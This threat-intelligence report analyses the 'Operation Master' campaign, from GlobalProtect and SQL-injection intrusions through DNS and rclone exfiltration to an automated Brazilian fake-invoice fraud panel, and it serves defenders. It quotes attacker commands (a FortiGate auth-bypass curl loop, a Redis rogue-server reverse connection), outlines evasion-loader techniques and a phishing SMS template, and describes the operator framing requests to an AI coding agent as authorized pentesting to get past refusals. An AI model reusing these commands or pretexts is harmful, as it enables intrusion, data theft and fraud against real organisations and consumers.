Operation Master: Deconstructing a Multi-Tiered Intrusion and Monetization Pipeline

SOCRadar Threat Research Unit (STRU) has uncovered an end-to-end cybercrime operation dubbed Operation Master, in which a threat actor compromised enterprise networks, stole customer and billing databases, offered portions of the data for sale on underground forums, and later repurposed those exact assets to power an automated, multi-tenant invoice fraud platform.

Operating across multiple countries, the threat actor compromised critical network infrastructure, including VPN gateways via a GlobalProtect authentication bypass (CVE-2026-0257), while concurrently executing advanced web application exploits, deploying the AdaptixC2 framework, and leveraging an AI-assisted development workflow.

Monetization was driven through a dual-tier strategy: initially exfiltrating and liquidating corporate and energy sector databases on a cybercrime forum under a persona, followed by weaponizing those same assets inside a multi-tenant, automated phishing and fraud platform. The threat actor’s infrastructure and multi-tiered monetization pipeline were ultimately exposed following operational security oversights in mid-September 2026.

Operation Master highlights a dangerous convergence in the modern threat landscape: perimeter exploits long associated with cyber espionage and ransomware are now being systematically industrialized to fuel automated, localized financial fraud ecosystems.

Key Findings

• The threat actor exploited CVE-2026-0257 (GlobalProtect authentication bypass) to establish unauthorized network access across 7 gateways in four countries.
• Reconnaissance operations included 277.5 million address scans across 22 log files to curate a target list of 81 high-value organizations.
• Data theft was confirmed across 9+ database instances, leveraging “xp_cmdshell” to pivot from SQL injection to remote command execution.
• Offline credential artifacts, including SAM, SYSTEM, and SECURITY registry hives alongside an Active Directory database, were exfiltrated.
• The threat actor utilized domainless phishing tactics, such as M365 OAuth device-code phishing and phone-guided vishing, bypassing traditional email gateways.
• Deployed AdaptixC2 as its command-and-control (C2) framework, establishing active control over at least two Windows server identities.
• Data exfiltration relied on dual redundant vectors, combining continuous DNS subdomain tunneling with automated “rclone” cloud synchronization.
• Operated an invoice-fraud engine generating over 2.4 million email/SMS messages and 622,666 personalized links before going offline in mid-September.
• Collected funds via PIX using a serverless proxy structure; receiving-side key material remains unrecoverable from this dataset.
• Tracked a single operator email address “cyberkill2025[@]gmail.com” across five distinct operational contexts and linked it to forum persona “masterblack” via leaked database records.

Infrastructure Overview

During threat-hunting activities, STRU uncovered and systematically traced a network of exposed adversary infrastructure. The investigation originated from a single misconfigured server and ultimately led to the discovery of three distinct generations of hosting infrastructure utilized throughout the operation.

Where the Master Panel Lived

Operation Timeline

Operation Master ran from April 23 to mid-September 2026, moving from AI-assisted tooling and stolen energy-sector data sales in the spring to GlobalProtect exploitation, AdaptixC2 deployment, and large-scale email and SMS fraud campaigns by September.

Attack Campaigns

The threat actor conducted multiple distinct attack campaigns across the intrusion lifecycle. The following sections break down and detail these campaigns categorized by their respective kill chain phases.

Reconnaissance

Mass Scanning for Palo Alto Gateways

• Continuous Network Scanning: Using masscan, the threat actor ran high-speed sweeps over 22 logged runs, evaluating a cumulative 277,480,448 hosts (peaking at 50,331,648 per pass) across overlapping target ranges.
• Automated Candidate Filtering: A custom classifier script filtered 2,109,111 open-port records (1,506,516 distinct endpoints) to isolate vulnerable, non-SAML version 1 PAN-OS gateways (formatted GW|<ip>|1|), skipping invulnerable SAML and version 2 setups.
• Automated Exploitation Pipeline: An exploit engine monitored real-time classifier logs (fp_br2.log, fp_n3.log, fp_timeout8.log), routing target candidates directly to a 30-worker thread pool.
• Selective Target Curation: Manual review narrowed 1,304 exploited candidate IPs into 122 priority hostnames across 81 target organizations.

SonicWall SMA Campaign

Parallel to GlobalProtect, the latest snapshot indicates an unconfirmed SonicWall SMA VPN campaign using vendor API scripts (sma_api.js), an ffuf wordlist (sma_endpoints.txt), and a four-IP probe across login, VPN, and diagnostic endpoints; despite existing result files, no successful authentication artifacts were recovered.

Parallel Target Lists

Simultaneously, automated workflows probed other vectors: 97 Keycloak targets, 42 Exchange and Next.js-on-IIS endpoints across 11 organizations, 21 ASP.NET SQL injection targets in finance, and 8 internal Fortinet addresses (1 vulnerable). These represent unconfirmed preliminary probing with no evidence of compromise.

Specification & API Reconnaissance

The threat actor collected public developer documentation and software packages, including Brazilian banking API specs (PIX payments, OAuth, account validation, direct debit, fund transfers), an energy sector OpenAPI schema, a 3CX web client bundle, and account-creation packages, to build platform-specific tools. Evidence shows reconnaissance focused on technical documentation rather than active platform compromise.

OSINT & Reconnaissance Tooling: Across all three operational infrastructure phases, the operator consistently reused API keys for external intelligence and reconnaissance services, including Shodan, VirusTotal, SecurityTrails, WPScan, and AlienVault OTX. These platform accounts were all registered to the threat actor’s primary mailbox (cyberkill2025[@]gmail.com).

Initial Access

GlobalProtect Bypass

The operation’s primary at-scale access vector is an authentication-override weakness in Palo Alto Networks GlobalProtect, tracked as CVE-2026-0257: recovered output contains assigned VPN addresses, DNS settings, routes, and IPsec parameters for 7 gateways across four countries. These are working VPN sessions, confirming unauthorized network access.

• Fingerprint: Identify exposed GlobalProtect gateways and software builds
• Forge: Build an authentication-override cookie from the target certificate context
• Submit: Send the forged cookie to the VPN authentication endpoint
• Tunnel: Collect assigned network configuration and routing data

The exploit chain is structurally identical to the public proof-of-concept, sharing its endpoint, plaintext structure, response parsing logic, and padding, yet it introduces operational adjustments. These include a standardized host identifier, masscan execution logs dated three months post-disclosure, and a continuous masscan feed driving a 30-worker loop. The core advancement is its automated industrial scaling rather than novel exploitation mechanics.

Note: Beyond Operation Master, active exploitation of CVE-2026-0257 has been increasingly observed across the threat landscape by extortion and ransomware actors (such as Qilin), highlighting its broad adoption for initial enterprise access.

SQL Injection

Parallel to VPN exploitation, the adversary executes automated SQL injection campaigns targeting Brazilian SaaS, CRM, support, education, and financial web applications.

Verified Extraction Outcomes:

• SQLMap Corpus: Includes 123 workspaces, 14 CSV directories, and at least 9 verified compromised systems confirmed via raw database dumps
• Open Finance Infrastructure: 5,000 payment records, identity provider realm configs, 107 user records, and 144 logged client secrets exfiltrated
• Largest Web Application Breach: 15,539 unique entries (including 12,958 user records, wallet details, PII, hashes, and financial credentials) stolen across nine tables

The SQLi-to-Shell Chain

Beyond data theft, this time-based SQLi vector enables privilege escalation: the attacker triggers xp_cmdshell on SQL Server. This executes an obfuscated PowerShell payload that encodes output into DNS subdomains sent to an attacker-controlled sink, converting database access into host execution and a covert command path.

An ASP.NET Campaign

A distinct campaign probes ASP.NET applications via __VIEWSTATE SQL injection, with per-target session-cookie jars. The same technique was prepared for 21 finance/payment organizations in one pass.

SSRF as a Reader: dompdf (CVE-2022-28368)

A secondary vector exploits dompdf (CVE-2022-28368) via SSRF/LFI: the operator fingerprints dependency files for vulnerable versions and renders arbitrary file contents to his server. The recovered data includes 86 server-side files read directly through the PDF engine without requiring a shell.

Webshell Staging

Two minimal JSP command-execution webshells (Linux and Windows variants, plus a Metasploit-generated WAR payload) sit in the toolkit, staged against Tomcat hosts reached after VPN pivoting.

HTTP/2 Request Smuggling

An HTTP/2-cleartext (h2c) request smuggling campaign targeted an Italian energy agency using Content-Length discrepancies. Nine out-of-band callbacks (POST /env, POST /mysql) confirmed internal path enumeration. Associated tools include an h2c diagnostic script, a transfer-encoding obfuscator, a Ruby request generator, and crt.sh subdomain reconnaissance data.

Credential Access

Domainless & Tenant-Targeted Phishing Campaigns

OAuth Device-Code Phishing: Targeted enterprise Microsoft 365 tenants via legitimate authentication endpoints, bypassing custom phishing domains and standard reputation controls.

Staged No-Link Vishing Framework: Used phone-guided credential resets without malicious links in emails or SMS, bypassing automated email gateways.

When called, the operator (posing as support) convinces the victim to share their itsme verification code. Using this code, the operator hijacks the session to gain unauthorized access to the Belgian digital-ID system. This lure relies solely on a phone number, omitting domains or landing pages.

M365 Pattern Password Spraying: Executed low-and-slow password spraying against M365 environments using localized and seasonal patterns to avoid account lockouts.

Service Desk Token Brute-Forcing: Brute-forced weak 4-character verification tokens on an internal IT service desk endpoint to hijack active support sessions.

GitLab Dual-Email Password Reset (CVE-2023-7028): Abused CVE-2023-7028 against an energy company’s executive GitLab instances, injecting a secondary attacker email (cyberkill2025[@]gmail.com) to intercept password reset tokens without victim interaction.

Unauthenticated Employee Badge Portal Takeover: The adversary leveraged an unauthenticated endpoint to modify target employee email addresses, preceded by mass CPF enumeration.

Account-API Invitation Abuse (Japanese HR/People Platform): Scripts systematically analyzed client-side JavaScript to extract the auth-code invitation endpoint, subsequently leveraging it to execute chained password resets and map corporate environments across connected services.

WordPress Login Brute-Force (Japanese Enterprise): Identified targeted credential-stuffing attempts targeting standard authentication interfaces, testing a dictionary matrix of 4 usernames against 66 passwords.

Automated Headless Browsing with CAPTCHA Bypass (Brazilian Pharmacy Chain): Deployed Playwright-driven browser automation integrated with third-party reCAPTCHA-v3 solving services to alter store-selection state logic, successfully advancing through the checkout workflow and extracting live store data.

Post-Exploitation & Lateral Movement

Credential Theft & Password Spraying

Recovered logs show an active shell under a high-privilege SQL Server service identity. The operator extracted base64-encoded SAM, SYSTEM, and SECURITY registry hives from a Windows host for offline cracking. The dataset also contains a valid Active Directory database (ntds.dit) and registry artifacts, though host correlation is needed to map extracted hives to specific source hosts.

The Domain-Escalation Toolkit

• GodPotato: Modern token-impersonation LPE tool, staged as C# source and compiled .NET binary
• Kerberoast / AS-REProast: Script-wrapped Impacket GetUserSPNs/GetNPUsers to harvest crackable AD service-account hashes
• Evil-WinRM: History logs reveal attempts to copy the AD database from a tunneled domain controller, aiming for full domain compromise
• Local Privilege Escalation: PwnKit (CVE-2021-4034), an nf_tables kernel exploit (CVE-2024-1086), and a Tomcat Ghostcat AJP client (CVE-2020-1938)

Movement Commands

.bash_history:

# Firewall auth-bypass probe across internal gateway subnets (CVE-2022-40684 class):
for SUBNET in ; do
  HOST="10.80.${SUBNET}.1"
  curl -sk "https://${HOST}:64443/api/v2/cmdb/system/admin?access_token=" ...
done | tee /tmp/fortigate_check.txt

# Redis module-load abuse against a reachable Redis instance:
redis-cli -h  -p 6380 MODULE LOAD /data/exp.so
python3 redis-rogue-server.py --rhost  --rport 6380 --lhost  --lport 21000

Executing a rogue-server technique against Redis involves injecting a custom module into the target instance to initiate a reverse connection to an operator-controlled listener.

Movement and Persistence Mechanics

Movement chains use a weak or unauthenticated SQL-facing API to reach xp_cmdshell, then PowerShell Remoting or WMI to adjacent Windows servers; a Ligolo-style reverse tunnel carries internal routing (two internal /24 ranges, one fixed agent token). Persistence is attempted through scheduled tasks with plausible service-like names and a PostgreSQL shell plus socket-install output, although the recorded errors mean durable persistence is not confirmed. On one confirmed-compromise host the operator mapped internal subnets and scanned for vulnerable IP cameras (CVE-2021-36260).

MikroTik Router Compromise via VPN Tunneling

After establishing unauthorized VPN connections, the adversary targeted internal routing within a telecom network. Using a custom RouterOS port scanner, 18 credential variants, subnet sweep logs, and an enumeration script, the attacker escalated from hijacked session cookies to direct router control.

Supply-Chain Pivoting Through Managed Hotspot Infrastructure

To expand reach, the actor forged tenant tokens for a Brazilian Wi-Fi management service. Authenticating as a compromised hotel tenant, they connected to the WebSocket hub to execute arbitrary RouterOS commands across multiple victim tenants. Recovered candidate wordlists reveal brute-force attempts on signing keys to generate these forged tokens.

Data Theft & Exfiltration

To mitigate single-point failure risks, the adversary employs a redundant exfiltration strategy using two concurrent, distinct vectors: an active real-time transfer channel and a pre-configured, single-use exfiltration mechanism.

Rail 1: DNS Tunneling

Every query directed to the operator’s DNS sink is continuously logged. Data leaks via a verified active channel originating from a compromised, cloud-hosted Windows server, which structures exfiltrated information into subdomains using a marker-prefixed pattern:

• Log Volume: A total of 470,268 queries were extracted from a single compromised system
• Operational Markers: Continuous, multi-tasking activity (including FM, FS, DX, DZ, LG, EM, DU, and AC) indicates ongoing actions such as service and user enumeration, directory indexing, scheduled-task inspection, and file reading
• Exfiltrated Assets: Using a custom decoder, the attacker reconstructed exfiltrated data into 24,558 debtor records and SHA1-hashed user passwords. Run via xp_cmdshell under the SQL Server service identity, this extraction targeted a Brazilian energy-billing system. The contact details were then used to build targeting lists for phishing campaigns

Rail 2: Cloud Storage Sync

A single-use script configures rclone to sync data directly to cloud storage without an intermediate server. Key features include:

• Filters for ~140 sensitive file types (credentials, databases, configs, documents)
• A single-keyword alias to trigger full exfiltration
• 8-stream multi-threaded transfers with automated hash verification

Additionally, a third exfiltration vector was staged: direct SFTP transfers of complete SQL Server database backups to adversary-controlled infrastructure.

Command & Control

Command & Control (C2) Infrastructure: Built from Go 1.22 source code (“make server-ext” in “/opt/AdaptixC2“), the adversary deployed a standard AdaptixC2 framework at “91.92.241[.]187”. The host exposed three listening services: an HTTP listener on port 8443, a TCP “GOPHER_4444” listener on port 4444, and a TLS WebSocket API on port 4321. The actor relied on stock components, including default listeners, a beacon agent, and the base demo agent with no native EDR/AV evasion capabilities. Customization was limited to an automated script (“write_config.py” → “config.go”) that hardcoded C2 IPs and authentication tokens into the Go source prior to compilation.

Gopher Implant Family: Binary-level metadata confirms the stock agent: the compiled beacons carry a module literally named gopher, with a BOF loader (gopher/bof/coffer) and screenshot/memory-download symbols, matching the framework’s demo agent exactly.

• Windows agents: gopher_new.exe, gopher_orig.exe
• Linux agents: agent_fud_raw.elf, .x11d
• Beacon DLLs: beacon.dll, beacon_db01.dll (wmsvc.dll), beacon_db2.dll, svc.dat
• Reflective shellcode: x64 loader containing an embedded PE DLL and two 460-byte reverse shells with distinct listener ports

Evasion loader: The C2 stack’s only custom component, the evasion loader (loader_v2_final.c or “AdaptixC2 FUD Loader v2”), is a C file paired with an AES-encrypted payload (sc_fud_new.bin). It employs standard evasion techniques: AES-128-CBC decryption via hardcoded keys/IVs, AMSI/ETW patching, indirect syscalls, anti-sandbox/debugging mechanisms, process injection, and automated self-deletion.

Delivery: XOR-wrapped shellcode (keys 0x37 / 0x41) pushed through SQL execution and remote-management channels; PowerShell VirtualAlloc / CreateThread launchers.

Evidence of live use: Log entries (“adaptix_new.log”, September 3) record the initial restoration of 9 agents and 19 distinct targets upon launch, with at least two Windows server identities under active control.

Monetization

The monetization infrastructure relied on a multi-tenant “master-panel” core designed for automated phishing and fraud delivery. This platform processed 622,666 personalized invoice links, tracked 317,696 victim click events, and managed PIX payment routing through a serverless proxy.

Fraud Delivery Architecture:

• Email Delivery: Dispatched 734,929 fake-invoice messages during the first snapshot, followed by an additional 231,261 messages in the second snapshot
• SMS Campaigns: Distributed 621,434 messages utilizing 8 SMPP gateways in the second snapshot
• WhatsApp Distribution: Leveraged Zenvia templates hosting fraudulent invoice PDFs stored on Amazon S3
• Link Tracking & Engagement: Generated 622,666 personalized, click-tracked short links embedding a cumulative invoice value of R$150.4M. Out of these, 169,906 target interactions were recorded, opening R$38.9M worth of fraudulent invoices
• Payment Processing: Routed PIX payments via a dedicated Vercel serverless proxy endpoint (pix-proxy-sable.vercel[.]app)

The operations of this comprehensive fraud engine are detailed further in the dedicated Master Panel section.

Note: All cited monetary values represent attempted and exposed fraud metrics rather than confirmed stolen funds. Since receiving PIX keys are hosted on an isolated server-side proxy, the total cash collected remains unresolvable from the recovered dataset.

“Master Panel” Fraud Infrastructure

The adversary deployed a fake-invoice phishing platform. Controlled via a Node.js web app named “master-panel” at /opt/master-panel/, this specialized CRM automates the creation, distribution, and tracking of fake utility bills targeting Brazilian consumers and corporations. Built as a multi-tenant, SaaS-style application, it includes a dedicated database, campaign scheduler, delivery channels, and payment funnel.

Impersonation Brands

How the Platform Is Built

Multi-tenant model: each configured “company” carries its own lookalike domain, gradient/logo branding, email templates, SMS sender identity, and payment-page copy, allowing the same backend to serve several impersonated utility and identity brands in parallel.

The Delivery Rails

Email Delivery (“MS365 Trigger”): Phishing emails route through ~12 compromised M365 mailboxes in retail, healthcare, and education to inherit real sender reputations and pass alignment checks. A relay tier caps daily volume at 10,000 emails per mailbox, limits batches to 28 emails, keeps a single connection per account, and continuously rotates them. Campaign names like “MS3652222” (155,405 sends) and “MS365 4” (75,840 sends) reflect this approach, with pauses occurring when credentials rotate or accounts are remediated.

SMS: the SMS rail runs over eight hardcoded bulk-messaging gateway accounts configured directly in the panel’s dispatch code. Spreading traffic across several distinct providers dilutes both volume and detection risk. The message itself follows one recovered template: “iGreen Energy: Ola {{nome}}, sua fatura de energia vence hoje! Acesse: {{link}}” (“Hello {{name}}, your energy bill is due today! Access: {{link}}”), and the link is the five-character short URL igreenfaturas[.]to/r/<code>, exactly as logged in the panel’s own SMS records.

WhatsApp: A WhatsApp Business API script using rented brand identities sent Meta-approved overdue invoice templates linked to attacker-hosted PDFs. Operator logs show tens of thousands of sends with a ~90% rejection rate for non-WhatsApp numbers, highlighting scaled consumer phishing.

The Personalized-Invoice URL Schema

Every generated short link expands to a per-victim invoice URL on the tenant’s lookalike domain. The parameter schema itself, recovered from the panel’s own database and rendered here with the live domain redacted, is a detection goldmine:

By embedding the victim’s authentic name, due date, usage, and billing amount in the URL, recipients are tricked into trusting the invoice. Incorporating the original amount parameter (“v0=”) alongside a modified amount (“v=”) indicates added fraud fees, serving as a clear indicator of compromise.

Scale

Lead Data Sources

Targeting 1.8 million records, an automated scraper exploited an authentication flaw in iGreen Energia‘s and a partner’s APIs, obtaining valid session tokens without password validation to enumerate customer contact details, histories, banking data, and PIX keys (other scripts used an exposed secret key). An initial 155,430 verified entries were fed directly into active phishing workflows.

The Campaign Lifecycle: From Lead to Payment

How Payment Is Collected

Short links embed invoice amounts, leading to customized payment pages that route signed requests to a serverless proxy to generate per-victim PIX codes. Server-side key configuration obscures total cash collected, but database logs reveal R$150.4M attempted across 622,666 links and R$38.9M exposed via clicks. PIX payments settle rapidly, significantly narrowing the window for fraud detection and recovery.

Attribution & Threat Actor Profile

Attribution confidence increases when a unique identifier appears across unlinked operations. The address cyberkill2025[@]gmail.com recurs across four distinct settings, with breach data confirming the registrant:

• Fraud Panel Testing: Found in 34 lead snapshots (customer ID 99999, “Cyber Kill”, operator phone) and replacing a legitimate invoice recipient to validate delivery

• Executive Account Takeover: Hardcoded as the attacker’s secondary address in CVE-2023-7028 (GitLab dual-email password-reset flaw, CVSS 10.0) exploits targeting executive leadership
• Reconnaissance Tooling: Registered as the account handle for a commercial internet-scanning API
• Penetration Testing Documentation: A recovered assessment report (“Session 11,” following OWASP/PTES methodology) lists Operador: cyberkill2025[@]gmail.com, originating from the server address that subsequently hosted the operation’s fraud panel

Searching SOCRadar’s Threat Hunting platform for this email address reveals its presence in compromised hacker forum databases. Specifically, a leaked forum user database contains a raw SQL registration record that directly links the masterblack forum identity to cyberkill2025[@]gmail.com. This provides the initial independent validation connecting the email address to an established cybercrime persona.

SOCRadar Threat Hunting queries linked the handle “masterblack” to a hacker forum account selling stolen Wattio Energy and iGreen Energy data. These listings predated the fraud panel’s bulk tenant seeding in early September by 14 and 9 weeks. This timeline confirms a two-stage monetization strategy: initial exfiltration and sale of raw databases on forums, followed weeks later by brand-impersonating phishing campaigns targeting the same victims. Thus, the data theft and fraud operations are operationally and commercially linked to a single adversary.

STRU assesses with High Confidence that the threat actor operating under the forum persona masterblack and the primary email address cyberkill2025[@]gmail.com is a principal operator behind the Operation Master. This assessment is based on the multi-context convergence of the email address across forensic workstation backups, commercial OSINT API registrations, victim-testing snapshots, and database-level forum registration leaks.

AI as the Operator’s Co-Developer

This operation illustrates cybercrime co-developed with an AI coding agent acting as a full partner, where the AI’s refusal responses ultimately provided key evidence against the actor.

• Setup: The earliest recovered workstation ran the campaign using an AI agent featuring 36+ offensive subagents, ~48 auto-approved tools, pre-loaded context with operator keys, and ~45 persistent memory files
• Division of Labor: AI developed the intrusion code (exploit drivers, auto-exploit loop, exfiltration scripts), while the operator authored the fraud panel code and compiled custom Adaptix extenders
• Prompts & Refusals: Recovered refusal transcripts show the operator repeatedly framing offensive development requests as authorized bug bounty or penetration testing activity while requesting functionality consistent with activity observed elsewhere in the operation
• Continued Workflow: Later snapshots show the operator adopting a second open-source AI agent alongside victim-side tactics, including AI-API key harvesting and abusing facial-recognition APIs for data relay

Victimology & Targeting

Victims are grouped into three categories by campaign impact: Targeted (scanned/probed), Compromised (breached), and Data Stolen (recovered exfiltrated records).

Compromised Organizations

Data Stolen Companies

Recommendations

• Apply hotfix updates and validate internet-facing remote-access devices: Equipment may appear fully updated while remaining susceptible to exploitation; deactivate non-essential authentication conveniences, such as cookie-based re-authentication and authentication bypass features, across non-critical operational environments
• Restrict database command execution: Turn off command-execution stored procedures across database identities reachable via the internet, while tracking service accounts for unexpected shell spawning or anomalous file interactions
• Review OAuth device-code grants: Turn off this protocol where unnecessary and raise alerts for authorizations lacking corresponding enrollment, since multi-factor authentication does not stop this vector
• Protect credential stores and egress: Alert on unusual access to OS credential-store files by service identities, on high-entropy DNS query patterns to unknown resolvers, and on consumer cloud-sync clients appearing on servers
• Raise consumer awareness for instant-payment fraud: Establish a default policy classifying unsolicited invoice communications with instant-payment mechanisms (e.g., PIX) as fraudulent, explicitly informing users of the non-reversible nature of these transfers

Detection & Monitoring

Security teams should implement telemetry alerts for the following adversary TTPs:

• Edge Access: Anomalous GlobalProtect authentication and session behavior
• Host Execution: Database processes (“sqlservr.exe”) spawning command interpreters (“cmd.exe” / “PowerShell”)
• Exfiltration: High-entropy DNS queries from database identities and execution of “rclone” or unauthorized cloud-sync tools on servers
• Identity Compromise: Unusual M365 OAuth device-code grants and institutional mailboxes initiating bulk external mail dispatches
• Credential Access: Unauthorized access targeting local registry hives (“SAM”, “SYSTEM”, “SECURITY”) or “ntds.dit”
• C2 Artifacts: Presence of custom Adaptix/Gopher framework binaries
• Fraud Infrastructure: Lookalike domain registrations and specific phishing URL parameter schemas (“?ref=”, “&venc=”, “&v0=”)

Conclusion

Operation Master marks a dangerous convergence of enterprise-grade network intrusions with automated, industrial-scale consumer fraud. The adversary repurposed perimeter access points typically associated with cyber espionage or ransomware to feed an automated, multi-tenant utility fraud ecosystem.

The observed infrastructure became unavailable in mid-September following multiple operational security exposures, though the evidence does not establish whether the broader operation ceased or migrated elsewhere. Organizations must assume that perimeter breaches will be leveraged immediately for financial monetization, leaving little room for manual triage. Rapid patching, strict identity governance, and proactive threat hunting are critical, and this is where SOCRadar Agentic Threat Intelligence helps, putting autonomous AI agents on that gap to track threats, assess context, and trigger the right response so analysts stay ahead of activity moving at machine speed.

Appendix

Toolkit Inventory

Toolchain by Phase

Critical Operator Tooling: Scripts and Binaries

Indicators of Compromise (IOCs)

MITRE ATT&CK Mapping